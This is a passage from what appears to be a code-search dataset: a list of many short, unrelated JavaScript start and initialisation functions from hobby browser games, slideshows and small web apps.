1;\n\t\t\t\t\tmaxhpLabels[n].opacity = 1;\n\t\t\t\t\tmpLabels[n].opacity = 1;\n\t\t\t\t}\n\t\t\t});\n\t\t\t}","function main () {\n // Initialise application\n\n // Get director singleton\n var director = Director.sharedDirector\n\n // Wait for the director to finish preloading our assets\n events.addListener(director, 'ready', function (director) {\n // Create a scene and layer\n var scene = new Scene()\n , layer = new Galaga()\n\n // Add our layer to the scene\n scene.addChild(layer)\n\n // Run the scene\n director.replaceScene(scene)\n })\n\n // Preload our assets\n director.runPreloadScene()\n}","_start() {\n\n this._menuView = new MenuView(\n document.querySelector('nav'),\n this.sketches\n );\n\n for (var key in this.sketches) {\n this.DEFAULT_SKETCH = key;\n break;\n }\n\n this._setupScroll();\n this._setupWindow();\n this._onHashChange();\n }","function App() {\n var mouse = DreamsArk.module('Mouse');\n //\n // /**\n // * start Loading the basic scene\n // */\n DreamsArk.load();\n //\n // mouse.click('#start', function () {\n //\n // start();\n //\n // return true;\n //\n // });\n //\n // mouse.click('.skipper', function () {\n //\n // query('form').submit();\n //\n // return true;\n //\n // });\n //\n // mouse.click('#skip', function () {\n //\n // query('form').submit();\n //\n // return true;\n //\n // });\n //\n // mouse.click('.reseter', function () {\n //\n // location.reload();\n //\n // return true;\n //\n // });\n }","function start() {\n restarts++;\n currentScene = scenes[0];\n currentTextIndex = 0;\n\n setMainImage();\n setMainText();\n hideSetup();\n updateStats();\n}","function start(action) {\r\n\t\r\n\t\tswitch (action) {\r\n\t\t\tcase 'go look':\r\n\t\t\t\ttextDialogue(narrator, \"Narocube: What are you going to look at??\", 1000);\r\n\t\t\tbreak;\r\n\r\n\t\t\tcase 'explore':\r\n\t\t\t\texploreship(gameobj.explore);\r\n\t\t\t\tgameobj.explore++;\r\n\t\t\tbreak;\r\n\r\n\t\t\tcase 'sit tight':\r\n\t\t\t\ttextDialogue(narrator, \"Narocube: Good choice we should probably wait for John to get back.\", 1000);\r\n\t\t\t\tgameobj.sittight++;\r\n\t\t\tbreak;\t\r\n\t\t}\r\n}","function go() {\n console.log('go...')\n \n const masterT = new TimelineMax();\n \n masterT\n .add(clearStage(), 'scene-clear-stage')\n .add(enterFloorVegetation(), 'scene-floor-vegetation')\n .add(enterTreeStuff(), 'scene-enter-treestuff')\n .add(enterGreet(), 'scene-enter-greet')\n ;\n }","function main(){\n\t//Initialice with first episode\n\tvar sel_episodes = [1]\n\t//collage(); //Create a collage with all the images as initial page of the app\n\tpaintCharacters();\n\tpaintEpisodes();\n\tpaintLocations(sel_episodes);\n}","startGame() {\n this.scene.start('MenuScene');\n }","function start(){\n renderGameField();\n resizeGameField();\n spawnSnake();\n spawnFood();\n eatFood();\n renderSnake();\n}","function loadStart() {\n // Prepare the screen and load new content\n collapseHeader(false);\n wipeContents();\n loadHTML('#info-content', 'ajax/info.html');\n loadHTML('#upper-content', 'ajax/texts.html #welcome-text');\n loadHTML('#burger-container', 'ajax/burger-background.html #burger-flags', function() {\n loadScript(\"js/flag-events.js\");\n });\n}","function start(){\n\t\t //Initialize this Game. \n newGame(); \n //Add mouse click event listeners. \n addListeners();\n\t\t}","function initScene1() {\n if (currentScene === 1) {\n\n $('#game1').show(\"fast\");\n\n //clique sur une porte\n $('.dungeon0Door').on('click', function (e) {\n console.log(currentScene);\n if (consumeEnergy(10)) {\n if (oD10.roll() >= 8) {\n printConsole('Vous vous echappez du donjon');\n loadScene(2);\n } else {\n printConsole(\"Ce n'est pas la bonne porte ..\");\n $('.dungeon0Door').animate({\n opacity: '0'\n }, 'slow', function () {\n $('.dungeon0Door').animate({\n opacity: '1'\n }, 'fast');\n });\n }\n }\n });\n }\n }","create() {\n\n // add animations (for all scenes)\n this.addAnimations();\n\n // change to the \"Home\" scene and provide the default chord progression / sequence\n this.scene.start('Home', {sequence: [0, 1, 2, 3, 0, 1, 2, 3]});\n }","function start(){\n\t\n}","function Aside() {\n appStarted = true;\n // all objects added to the stage appear in \"layer order\"\n // add a helloLabel to the stage\n seeMore = new objects.Label(\"Click me to see more of my work\", \"32px\", \"Times New Roman\", \"#000000\", canvasHalfWidth, canvasHalfHeight + 200, true);\n stage.addChild(seeMore);\n // add a clickMeButton to the stage\n treesharksLogo = new objects.Icon(loader, \"treesharksLogo\", canvasHalfWidth, canvasHalfHeight - 100, true);\n stage.addChild(treesharksLogo);\n }","start() {// [3]\n }","function renderStartPage() {\n addView(startPage());\n}","onCreate(scene, custom) {}","function start() {\n startMove = -kontra.canvas.width / 2 | 0;\n startCount = 0;\n\n audio.currentTime = 0;\n audio.volume = options.volume;\n audio.playbackRate = options.gameSpeed;\n\n ship.points = [];\n ship.y = mid;\n\n tutorialMoveInc = tutorialMoveIncStart * audio.playbackRate;\n showTutorialBars = true;\n isTutorial = true;\n tutorialScene.show();\n}","function startDemo() {\n View.set('Demo');\n }","function start()\n{\n clear();\n console.log(\"==============================================\\n\");\n console.log(\" *** Welcome to the Interstellar Pawn Shop *** \\n\");\n console.log(\"==============================================\\n\");\n console.log(\"We carry the following items:\\n\");\n readCatalog();\n}","function start() {\n\n console.log(\"\\n\\t ------------Welcome to Bamazon Store-------------\");\n showProducts();\n\n\n\n}","function Start(){\n activeScene.traverse(function(child){\n if(child.awake != undefined){\n child.awake();\n }\n });\n\n activeScene.traverse(function(child){\n if(child.start != undefined){\n child.start();\n }\n });\n activeScene.isReady = true;\n}","function setup_goToStart(){\n // what happens when we move to 'goToStart' section of a trial\n wp.trialSection = 'goToStart';\n unstageArray(fb_array);\n\n // update objects\n choiceSet.arc.visible = false;\n choiceSet.arc_glow.visible = false;\n startPoint.sp.visible = true;\n startPoint.sp_glow.visible = false;\n\n // update messages\n msgs.goToStart.visible = true;\n msgs.tooSlow.visible = false;\n\n stage.update();\n }","function createStart(){\n // scene components\n startScreen = initScene();\n startText = createSkyBox('libs/Images/startscene.png', 10);\n startScreen.add(startText);\n\n // lights\n \t\tvar light = createPointLight();\n \t\tlight.position.set(0,200,20);\n \t\tstartScreen.add(light);\n\n // camera\n \t\tstartCam = new THREE.PerspectiveCamera( 90, window.innerWidth / window.innerHeight, 0.1, 1000 );\n \t\tstartCam.position.set(0,50,1);\n \t\tstartCam.lookAt(0,0,0);\n }","function start() {\n\n // Make sure we've got all the DOM elements we need\n setupDOM();\n\n // Updates the presentation to match the current configuration values\n configure();\n\n // Read the initial hash\n readURL();\n\n // Notify listeners that the presentation is ready but use a 1ms\n // timeout to ensure it's not fired synchronously after #initialize()\n setTimeout(function () {\n dispatchEvent('ready', {\n 'indexh': indexh,\n 'indexv': indexv,\n 'currentSlide': currentSlide\n });\n }, 1);\n\n }","start() {\n console.log(\"Die Klasse App sagt Hallo!\");\n }","function start () {\n gmCtrl.setObj();\n uiCtrl.setUi();\n }","function startGame(mapName = 'galaxy'){\n toggleMenu(currentMenu);\n if (showStats)\n $('#statsOutput').show();\n $('#ammoBarsContainer').show();\n scene.stopTheme();\n scene.createBackground(mapName);\n if (firstTime) {\n firstTime = false;\n createGUI(true);\n render();\n } else {\n requestAnimationFrame(render);\n }\n}","function gamestart() {\n\t\tshowquestions();\n\t}","function fastFoodRestaurantScene() {\n subTitle.innerText = fastfoodWelcome;\n firstButton.classList.add(\"hidden\");\n secondButton.classList.add(\"hidden\");\n fastDiv.classList.remove(\"hidden\");\n\n handleFastRestaurantChoice();\n}","function begin() {\n\tbackgroundBox = document.getElementById(\"BackgroundBox\");\n\n\tbuildGameView();\n\tbuildMenuView();\n\n\tinitSFX();\n\tinitMusic();\n\n\tENGINE_INT.start();\n\n\tswitchToMenu(new TitleMenu());\n\t//startNewGame();\n}","function startScreen() {\n mainContainer.append(startButton)\n }","function startGame() {\n\t\tstatus.show();\n\t\tinsertStatusLife();\n\t\tsetLife(100);\n\t\tsetDayPast(1);\n\t}","function start() {\n\n}","async start() {\n // Navbar in header\n this.navbar = new Navbar();\n this.navbar.render('header');\n\n // Footer renderin\n this.footer = new Footer();\n this.footer.render('footer');\n\n this.myFavorites = new Favorites();\n\n setTimeout(() => {\n this.router = new Router(this.myFavorites);\n }, 0)\n }","initializeScene(){}","function startRitual() {\n\tconsole.log(\"** glitter **\");\n\tflash(pump);\n}","StartGame(player, start){\n this.scene.start('level1');\n }","function startGame(){\n getDictionary();\n var state = $.deparam.fragment();\n options.variant = state.variant || options.variant;\n makeGameBoard();\n loadState();\n }","start () {\n // Draw the starting point for the view with no elements\n }","start () {\n // Draw the starting point for the view with no elements\n }","doReStart() {\n // Stoppe la musique d'intro\n this.musicIntro.stop();\n // Lance la scene de menus\n this.scene.start('MenuScene');\n }","function start() {\n //Currently does nothing\n }","async show() {\n // Anzuzeigenden Seiteninhalt nachladen\n let html = await fetch(\"page-start/page-start.html\");\n let css = await fetch(\"page-start/page-start.css\");\n\n if (html.ok && css.ok) {\n html = await html.text();\n css = await css.text();\n } else {\n console.error(\"Fehler beim Laden des HTML/CSS-Inhalts\");\n return;\n }\n\n // Seite zur Anzeige bringen\n this._pageDom = document.createElement(\"div\");\n this._pageDom.innerHTML = html;\n\n await this._renderReciepts(this._pageDom);\n\n this._app.setPageTitle(\"Startseite\", {isSubPage: true});\n this._app.setPageCss(css);\n this._app.setPageHeader(this._pageDom.querySelector(\"header\"));\n this._app.setPageContent(this._pageDom.querySelector(\"main\"));\n\n this._countDown();\n }","function run() { \n\n moveToNewspaper();\n pickBeeper();\n returnHome();\n\n}","start() {// Your initialization goes here.\n }","function start() {\n\tdocument.body.appendChild(object({ type: \"main\", id: \"content\" }));\n}","function start() {\n getTodosFromLs();\n addTodoEventListeners();\n sidebar();\n updateTodaysTodoList();\n calendar();\n}","function createFirstScene() {\n makeRect(0, 0, 30000, 3000, \"darkcyan\", 1)\n makeRect(119, 30, 30, 2, \"brown\", 1)\n makeRect(51, 30, 30, 2, \"brown\", 1)\n makeCircle(100, 30, 20, \"white\", 1)\n makeEllipse(100, 10, 12, 10, \"white\", 1)\n makeCircle(100, 60, 30, \"white\", 1)\n \n \n}","function startLevel1(){\n teleMode = false;\n fadeAll();\n game.time.events.add(500, function() {\n game.state.start('state0');\n }, this);\n}","function start() {\n INFO(\"start\", clock()+\"msecs\")\n loadThemeScript();\n if (window.MathJax)\n MathJax.Hub.Queue([\"Typeset\", MathJax.Hub]);\n beginInteractionSessions(QTI.ROOT);\n setTimeout(initializeCurrentItem, 100);\n setInterval(updateTimeLimits, 100);\n document.body.style.display=\"block\";\n INFO(\"end start\", clock()+\"msecs\");\n }","function initMenu() {\n // Connect Animation\n window.onStepped.Connect(stepMenu);\n\n // Make buttons do things\n let startbutton = document.getElementById('start_button');\n \n //VarSet('S:Continue', 'yielding')\n buttonFadeOnMouse(startbutton);\n startbutton.onclick = startDemo\n\n\n // run tests for prepar3d integration\n runTests();\n}","function start(){\n // First/starting background\n imageMode(CENTER);\n image(gamebackground, width/2, height/2, width, height);\n fill(255);\n text(\"Master of Pie\", width/2 - width/20, height/4);\n text(\"Start\", width/2 - width/75, height/2);\n text(\"(Landscape Orientation Preferred)\", width/2 - width/10, height/4 + height/14);\n // Pizzas array is cleared\n pizzas = [];\n // Creates the ship\n ship = new Spacecraft();\n // Creates pizzas/asteroids at random places offscreen\n for(let i = 0; i < pizzaorder; i++){\n pizzas[i] = new Rock(random(0, width), random(0, height), random(width/40, width/10));\n }\n // Reset variables\n click3 = true;\n reload = 10;\n piecutter = [];\n pizzaorder = 1;\n level = 1;\n}","create(){\n this.scene.start('MenuGame');\n }","function startApp() {\n displayProducts();\n}","function start() {\n\n id = realtimeUtils.getParam('id');\n if (id) {\n // Load the document id from the URL\n realtimeUtils.load(id.replace('/', ''), onFileLoaded, onInitialize);\n init();\n } else {\n // Create a new document, add it to the URL\n realtimeUtils.createRealtimeFile('MyWebb App', function (createResponse) {\n window.history.pushState(null, null, '?id=' + createResponse.id);\n id=createResponse.id;\n realtimeUtils.load(createResponse.id, onFileLoaded, onInitialize);\n init();\n });\n \n }\n \n \n }","function startup() {\n\tsaveSlot('rainyDayZRestart');\n\tfooterVisibility = document.getElementById(\"footer\").style.visibility;\n\tfooterHeight = document.getElementById(\"footer\").style.height;\t\n\tfooterOverflow = document.getElementById(\"footer\").style.overflow;\t\n\twrapper.scrollTop = 0;\n\tupdateMenu();\n\thideStuff();\n\tif(localStorage.getItem('rainyDayZAuto')) {\n\t\tloadSlot('rainyDayZAuto');\n\t}\n\telse{\n\t\tsceneTransition('start');\n\t}\n}","function requestFish() {\n // all_stopped = 1;\n //addFish++;\n\n view.resize(300,300);\n aquarium.viewport(300,300)\n aquarium.prepare();\n}","function Main() {\n console.log(\"%c Scene Switched...\", \"color: green; font-size: 16px;\");\n // clean up\n if (currentSceneState != scenes.State.NO_SCENE) {\n currentScene.Clean();\n stage.removeAllChildren();\n }\n // switch to the new scene\n switch (config.Game.SCENE) {\n case scenes.State.START:\n console.log(\"switch to Start Scene\");\n currentScene = new scenes.Start();\n break;\n case scenes.State.PLAY:\n console.log(\"switch to Play Scene\");\n currentScene = new scenes.Play();\n break;\n case scenes.State.END:\n console.log(\"switch to End Scene\");\n currentScene = new scenes.End();\n break;\n }\n currentSceneState = config.Game.SCENE;\n stage.addChild(currentScene);\n }","function startGame(){\n \t\tGameJam.sound.play('start');\n \t\tGameJam.sound.play('run');\n\t\t\n\t\t// Put items in the map\n\t\titemsToObstacles(true);\n\n\t\t// Create the prisoner path\n\t\tGameJam.movePrisoner();\n\n\t\t// Reset items, we dont want the user to be able to drag and drop them\n \t\tGameJam.items = [];\n \t\t\n \t\tfor (var item in GameJam.levels[GameJam.currentLevel].items) {\n \t\t\tGameJam.levels[GameJam.currentLevel].items[item].count = GameJam.levels[GameJam.currentLevel].items[item].countStart;\n \t\t}\n\n\t\t// Reset prisoner speed\n\t\tGameJam.prisoner[0].sprite.speed = 5;\n\n\t\t// Reset game time\n\t\tGameJam.tileCounter = 0;\n\t\tGameJam.timer.className = 'show';\n\t\tdocument.getElementById('obstacles').className = 'hide';\n\t\tdocument.getElementById('slider').className = 'hide';\n\t\tdocument.getElementById('start-button-wrapper').className = 'hide';\n\n\t\t// Game has started\n\t\tGameJam.gameStarted = true;\n\n\t\tGameJam.gameEnded = false;\n\n\t\tdocument.getElementById('static-canvas').className = 'started';\n\n\t\tconsole.log('-- Game started');\n\t}","function start() {\n console.log(\"Animation Started\");\n\n let masterTl = new TimelineMax();\n\n //TODO: add childtimelines to master\n masterTl\n .add(clearStage(), \"scene-clear-stage\")\n .add(enterFloorVegetation(), \"scene-floor-vegitation\")\n .add(enterTreeStuff(), \"tree-stuff\");\n }","function start() {\n init();\n run();\n }","function startEncounter(){\n\tthis.scene.start('Battle', {type: 'encounter'})\n}","startScene() {\n console.log('[Game] startScene');\n var that = this;\n\n if (this.scene) {\n console.log('[Game] loading scene');\n this.scene.load().then(() => {\n console.log('[Game] Scene', that.scene.name, 'loaded: starting run & render loops');\n // setTimeout(function() {\n debugger;\n that.scene.start();\n debugger;\n that._runSceneLoop();\n that._renderSceneLoop();\n // }, 0);\n });\n } else {\n console.log('[Game] nothing to start: no scene selected!!');\n }\n }","go() {\n\t\tthis.context.analytics.record(\"Game Loaded\");\n\t\tthis._$template.css({ \"visibility\": \"visible\"}).hide().fadeIn();\n\t\tthis._$start = $(\".start\", this._$template);\n\n\t\tthis._$start.on('click', (e) => {\n\t\t\te.preventDefault();\n\t\t\tthis._$template.fadeOut(() => {\n\t\t\t\tthis.nextState(\"playing\");\n\t\t\t});\n\t\t});\n\t}","Main() {\n // add the welcome label to the scene\n this.addChild(this._overLabel);\n // add the backButton to the scene\n this.addChild(this._backButton);\n // event listeners\n this._backButton.on(\"click\", this._backButtonClick);\n }","function start_view() {\n editor_visibility(true);\n button_visibility('view-mode');\n d3.json(resource_url(), editor_callback);\n}","function main() {\n startSlideShowAnimation();\n renderProject();\n}","function start() {\n //switch to scene 1\n window.inventoryActive = \"\";\n window.inventoryActive2 = \"\";\n window.inventory[1]= {id:\"\", inspected:false, desciption:\"\"};\n window.inventory[2]= {id:\"\", inspected:false, desciption:\"\"};\n window.inventory[3]= {id:\"\", inspected:false, desciption:\"\"};\n window.inventory[4]= {id:\"\", inspected:false, desciption:\"\"};\n window.inventory[5]= {id:\"\", inspected:false, desciption:\"\"};\n window.inventory[6]= {id:\"\", inspected:false, desciption:\"\"};\n window.timerTime = null;\n window.inspectResultReceived =0;\n window.activeSlot = \"\";\n window.inspectResult= \"\";\n \n}","function start() {\n action(1, 0, 0);\n}","create() {\n // We have nothing left to do here. Start the next scene.\n \n\n this.input.on('pointerdown', function (pointer) {\n\n this.scene.start('Game');\n }, this);\n\n \n }","function initiatePage () {\n\t highlightDayOfTheWeek();\n\t populateHairdresserContainer();\n\t animateContainer(true, '#who');\n\t window.setTimeout(function () { autoScrollSlideshow(); }, 4000);\n\t}","function createFirstScene() {\nmakeRect(0,25,200,100,\"black\",0.6) \n makeCircle(100,52,25,\"orange\",1)\nmakeRect(90,75,20,8,\"red\",1)\nmakeRect(90,37,20,3,\"red\",0.4)\nmakeCircle(115,43,4,\"black\",0.9)\nmakeCircle(85,43,4,\"black\",0.9)\nmakeCircle(100,53,2,\"black\",0.9)\nmakeEllipse(100,27,28,10,1)\nmakeLine(123,61,77,61,\"black\",1)\nmakeCircle(100,112,35,\"black\",0.9)\nmakeLine(124,87,76,87,\"white\",1)\nmakeLine(131,97,69,97,\"white\",1)\nmakeCircle(100,25,2,\"white\")\nmakeImage(\"http://www.drodd.com/images15/canada-flag15.gif\",0,1,70,30,1)\nmakeLine(12,20,12,50,\"white\",4,1)\n var randomstuff= Math.random()\n if(randomstuff <0.4){\n makeText(\"Im a Canadian\",80,80,20,10,\"red\")\n }\n}","function showStart() {\n layout.RemoveChild(loading);\n layout.AddChild(text);\n layout.AddChild(startButton);\n clearInterval(loadTime);\n\n // Setup arrows\n res.arrowTL_png.SetPosition(0, 0);\n res.arrowTR_png.SetPosition(0.9, 0);\n res.arrowBL_png.SetPosition(0, 0.85);\n res.arrowBR_png.SetPosition(0.9, 0.85);\n}","function init() {\n createWelcomeGraphic();\n console.log('WELCOME TO ASSOCIATE MANAGER!');\n console.log('FOLLOW THE PROMPTS TO COMPLETE YOUR TASKS.');\n}","function Main() {\n console.log(\"%c Scene Switched...\", \"color: green; font-size: 16px;\");\n // clean up\n if (currentSceneState != scenes.State.NO_SCENE) {\n currentScene.removeAllChildren();\n stage.removeAllChildren();\n }\n // switch to the new scene\n switch (config.Game.SCENE) {\n case scenes.State.START:\n console.log(\"switch to Start Scene\");\n currentScene = new scenes.Start();\n break;\n case scenes.State.PLAY:\n console.log(\"switch to Play Scene\");\n currentScene = new scenes.Play();\n break;\n case scenes.State.END:\n console.log(\"switch to End Scene\");\n currentScene = new scenes.End();\n break;\n }\n currentSceneState = config.Game.SCENE;\n stage.addChild(currentScene);\n }","function generateScenes() { \n\n\tsceneIndex.push(new Scene(1,'Change the Future',bg.themes.grey,{sel:'#future',offset:0}));\n\tsceneIndex.push(new Scene(2,'Bitcoin Intro',bg.themes.grey,{sel:'#intro',offset:0,segueEnterDown:animations.fadeIntroText}));\n\tsceneIndex.push(new Scene(3,'Bank',bg.themes.white,{sel:'#bank',offset:0,segueEnterDown:animations.decentralize},svg.drawBankLines));\n\tsceneIndex.push(new Scene(4,'Use Case',bg.themes.white,{sel:'#usecase',offset:0,segueEnterDown:interactions.waitUseCase}));\n\tsceneIndex.push(new Scene(5,'Addresses',bg.themes.white,{sel:'#address',offset:0}));\t\n\tsceneIndex.push(new Scene(6,'Pick Address',bg.themes.white,{sel:'#pickaddress',offset:0,segueEnterDown:interactions.waitAddress}));\t\n\tsceneIndex.push(new Scene(7,'Use Address',bg.themes.white,{sel:'#useaddress',offset:0}));\t\n\tsceneIndex.push(new Scene(8,'Secret Key',bg.themes.white,{sel:'#secretkey',offset:0,segueEnterDown:animations.rotateCycle}));\n\tsceneIndex.push(new Scene(9,'Your Account',bg.themes.white,{sel:'#account',offset:0}));\n\tsceneIndex.push(new Scene(10,'Transfer',bg.themes.white,{sel:'#transfer',offset:0,segueEnterDown:interactions.waitTransfer}));\n\tsceneIndex.push(new Scene(11,'Transaction',bg.themes.white,{sel:'#transaction',offset:0}));\n\tsceneIndex.push(new Scene(12,'Ledger',bg.themes.white,{sel:'#ledger',offset:0,segueEnterDown:animations.solveBlock,segueEnterUp:animations.undoBlock}));\n\tsceneIndex.push(new Scene(13,'Package',bg.themes.white,{sel:'#package',offset:0}));\n\tsceneIndex.push(new Scene(14,'Reward',bg.themes.gradient,{sel:'#reward',offset:0}));\n\tsceneIndex.push(new Scene(15,'Network',bg.themes.grey,{sel:'#network',offset:0}));\n\tsceneIndex.push(new Scene(16,'Block Chain',bg.themes.grey,{sel:'#blockchain',offset:0}));\n\tsceneIndex.push(new Scene(17,'Resolution',bg.themes.grey,{sel:'#resolution',offset:0}));\n\tsceneIndex.push(new Scene(18,'Medium',bg.themes.grey,{sel:'#medium',offset:0}));\n\n\t_.indexBy(sceneIndex,'sceneIndex');\n\n\t// Add ScrollMagic listeners for scenes\n\t_.each(sceneIndex, function(val,key) {\n\n\t\tval.init();\n\n\t\t// Animated segues\n\t\tvar trigger = new ScrollMagic.Scene({\n\t\ttriggerElement: val.segue.sel,\n\t\toffset: 200,\n\t\tduration: val.height\n\t\t})\n\t\t.on(\"enter leave\", function(e) {\n\t\t\tvar enter = e.type === \"enter\";\n\t\t\tvar down = e.scrollDirection === \"FORWARD\";\n\t\t\tval.segueScene(enter,down);\n\t\t})\n\t\t//.addIndicators()\n\t\t.addTo(window.controller);\n\n\t\t// Pin the page\n\t\tvar pin = new ScrollMagic.Scene({\n\t\t triggerElement: \".scene\"+val.sceneIndex, // point of execution\n\t\t duration: $(window).height() - val.segue.offset, // pin element for the window height - 1\n\t\t triggerHook: 0, // don't trigger until trigger hits the top of the viewport\n\t\t reverse: true // allows the effect to trigger when scrolled in the reverse direction\n\t\t})\n\t\t//.addIndicators()\n\t\t.setPin(\".scene\"+val.sceneIndex) // the element we want to pin\n\t\t.addTo(window.controller);\n\n\t\t// Background DOWNWARD transitions\n\t\tvar downward = new ScrollMagic.Scene({\n\t\t\ttriggerElement: '.scene'+val.sceneIndex,\n\t\t\toffset: -200,\n\t\t\tduration: val.height\n\t\t})\n\t\t.on(\"enter leave\", function(e) {\n\t\t\tvar enter = e.type === \"enter\";\n\t\t\tvar down = e.scrollDirection === \"FORWARD\";\n\t\t\t(enter && down) && val.bgState();\n\t\t\tenter && breadcrumbs.open(val.sceneIndex);\n\t\t})\n\t\t.addTo(window.controller);\n\n\t\t// Background UPWARD transitions\n\t\tvar upward = new ScrollMagic.Scene({\n\t\t\ttriggerElement: '.scene'+val.sceneIndex,\n\t\t\toffset: 400,\n\t\t\tduration: val.height\n\t\t})\n\t\t.on(\"enter leave\", function(e) {\n\t\t\tvar enter = e.type === \"enter\";\n\t\t\tvar down = e.scrollDirection === \"FORWARD\";\n\t\t\t(val.sceneIndex > 0) && (enter && !down) && sceneIndex[val.sceneIndex-1].bgState();\n\t\t})\n\t\t.addTo(window.controller);\n\t\t\t\t\n\t})\n\n\tgenerateTweens();\n\tgenerateSceneListeners();\n\tbreadcrumbs.init();\n}","function start(){\r\n\t\t// for now, start() will call _draw(), which draws all the objects on the stage\r\n\t\t// but in the next lesson, we'll add an animation loop that calls _draw()\r\n\t\t_draw(ctx);\r\n\t}","start() {\n console.log(\"Die Klasse App sagt Hallo!\");\n this._router.resolve();\n }","show ()\n\t{\n\t\t//if the view hasn't been initialised, call setup (of the concrete view e.g. LOView)\n\t\tif(!this.initialised)\n\t\t{\n\t\t\tthis.setup();\n\t\t}\n\t\telse\n\t\t{\n\t\t\t//unhide the elements of the scene\n\t\t\tthis.root.style.display = 'block';\n\t\t}\n\t}","function startScreen() {\n\t\t\tinitialScreen =\n\t\t\t\t\"

    Start Quiz

    \";\n\t\t\t$( \".mainArea\" )\n\t\t\t\t.html( initialScreen );\n\t\t}","function startGame() {\r\n if (pressed == 0) {\r\n createRain();\r\n animate();\r\n }\r\n }","function start(){\n\tautoCompleteSearch();\n\tsubmitButton();\n\tsubmitButtonRandom();\n\tnewSearch();\n\trandomChar();\n\thideCarouselNav();\n}","function tl_start() {\n $('#futureman_face, #menu-open').css('display', 'inherit');\n $('.menu-open').css('visibility', 'inherit');\n }","create(){\n this.add.text(20, 20, \"LoadingGame...\")\n\n this.time.addEvent({\n delay: 3000, // ms\n callback: function(){this.scene.start('MenuScene')},\n //args: [],\n callbackScope: this,\n loop: true \n });\n\n \n }","function frontPage() {\n console.log(\"Welcome to Reddit! the front page of the internet\");\n fpMenu();\n\n\n}","function reactionStart () {\n if (bu2.state != 1) t0 = new Date(); // Falls Animation angeschaltet, neuer Anfangszeitpunkt\n switchButton2(); // Zustand des Schaltknopfs ändern\n enableInput(false); // Eingabefelder deaktivieren\n if (bu2.state == 1) startAnimation(); // Entweder Animation starten bzw. fortsetzen ...\n else stopAnimation(); // ... oder stoppen\n reaction(); // Eingegebene Werte übernehmen und rechnen\n paint(); // Neu zeichnen\n }","function onCreate() {\n\n /* -------------------------------*/\n /* Setting the stage */\n /* -------------------------------*/\n\n // **** Create our scene ***\n initScene();\n\n // **** Set up the Renderer ***\n initRenderer();\n\n // **** Setup Container stuff ***\n initContainer();\n\n // *** Setup the Halo stats div ***\n initStatsInfo();\n\n // **** DAT GUI! ***\n initGUI();\n\n // **** Setup our slider ***\n initSlider();\n\n\n /* -------------------------------*/\n /* Organizing our Actors */\n /* -------------------------------*/\n\n // Load Data for Halo // TREE679582 TREE676638\n initHaloTree(TREE676638, true);\n\n // **** Lights! ***\n initLights();\n\n // **** Camera! ***\n initCamera();\n\n // **** Setup our Raycasting stuff ***\n initRayCaster();\n\n // **** Action! Listeners *** //\n initListeners();\n\n\n}","constructor()\n {\n // calling the super to inniciate this class as a scene\n super();\n }","function startGame() {\n let gameBoard = document.getElementById('gameBoard');\n let tutorial = document.getElementById('tutorial');\n gameBoard.style.display = \"block\";\n tutorial.style.display = \"none\";\n addGround();\n addTree(treeCenter, trunkHeight);\n addBush(bushStart);\n addStones(stoneStart);\n addCloud(cloudStartX, cloudStartY);\n addingEventListenersToGame();\n addingEventListenersToTools();\n addInventoryEventListeners()\n}","function FXstart (){\n setTimeout(FXdisplayLaunch, 1500);\n FXweatherGeolocation();\n FXdisplayMarsWeather();\n }","function start() {\n $('#waitPanel').remove();\n\n // build slides dynamically\n const slides = $('div.slides');\n const areyoureadyTemplate = $('#areyouready-template').html();\n slides.append(areyoureadyTemplate\n .replace(/VOICE_ID/g, sessionData['voice']['id'])\n );\n const wordTemplate = $('#word-template').html();\n $.each(sessionData['wordList'], function(idx, data) {\n slides.append(wordTemplate\n .replace(/ID/g, idx+1)\n );\n });\n const goodjobTemplate = $('#goodjob-template').html();\n slides.append(goodjobTemplate\n .replace(/VOICE_ID/g, sessionData['voice']['id'])\n );\n\n Reveal.initialize({\n controlsLayout: \"edges\",\n overview: false,\n autoPlayMedia: true,\n hash: false,\n viewDistance: Number.MAX_VALUE,\n keyboard: {\n 13: listenAgain,\n 65: listenAgain, // A - again\n 82: listenAgain, // R - repeat\n }\n });\n\n Reveal.addEventListener('slidechanged', function(p) {\n const slideNum = p['indexh'];\n playSound(slideNum);\n });\n\n // change to first (later changes will be captured above\n playSound(0);\n}","start(event){\n console.warn(\"ZOOTYMON GO!\");\n $('.firstpage').hide();\n $('.dino2').hide();\n zootyMon.progressbar();\n const $name = $('input').val();\n $('.nameInput').text($name);\n zootyMon.increaseAge();\n zootyMon.morph();\n zootyMon.animateZootymon();\n \n \n }","function Start() {\n console.log(`%c Start Function`, \"color: grey; font-size: 14px; font-weight: bold;\");\n stage = new createjs.Stage(canvas);\n createjs.Ticker.framerate = Config.Game.FPS;\n createjs.Ticker.on('tick', Update);\n stage.enableMouseOver(20);\n Config.Game.ASSETS = assets; // make a reference to the assets in the global config\n Main();\n }"],"string":"[\n \"function start() {\\n // To present a scene, use the following line, replacing 'sample' with\\n // the id of any scene you want to present.\\n\\n SceneManager.getSharedInstance().presentScene('newScene1');\\n}\",\n \"function startup() {\\n\\tsceneTransition(\\\"start\\\");\\n}\",\n \"function start() {\\n for(var i = 0; i < sceneList.length; i++) {\\n addScene(sceneList[i]); // sceneList.js is imported in html-file\\n }\\n setScene(\\\"start\\\");\\n }\",\n \"static start() {\\n this.buttonCreate();\\n this.buttonHideModal();\\n\\n // Animal.createAnimal('Zebras', 36, 'black-white', false);\\n // Animal.createAnimal('Zirafa', 30, 'brown-white', true);\\n // Animal.createAnimal('Liutas', 35, 'brown', false);\\n // Animal.createAnimal('Dramblys', 20, 'grey', false);\\n\\n this.load();\\n }\",\n \"function main () {\\n // Initialise application\\n\\n // Get director singleton\\n var director = Director.sharedDirector\\n\\n // Wait for the director to finish preloading our assets\\n events.addListener(director, 'ready', function (director) {\\n // Create a scene and layer\\n var scene = new Scene()\\n , layer = new Plague()\\n\\n // Add our layer to the scene\\n scene.addChild(layer)\\n\\n // Run the scene\\n director.replaceScene(scene)\\n })\\n\\n // Preload our assets\\n director.runPreloadScene()\\n}\",\n \"function sceneStart(){\\n\\t\\t\\t\\tfor (n = 0; n < heroes.length; n++)\\n\\t\\t\\t\\t\\theroes[n].tl.delay(20).fadeIn(35);\\n\\t\\t\\t\\tmonster.tl.delay(20).fadeIn(35).delay(10).then(function(){\\n\\t\\t\\t\\tgame.sceneStarted = true;\\n\\t\\t\\t\\tthreatBar.opacity = 1;\\n\\t\\t\\t\\tthreatGuage.opacity = 1;\\n\\t\\t\\t\\tmonsterBox.opacity = 1;\\n\\t\\t\\t\\tmonsterName.opacity = 1;\\n\\t\\t\\t\\tpartyBox.opacity = 1;\\n\\t\\t\\t\\tmuteButton.opacity = 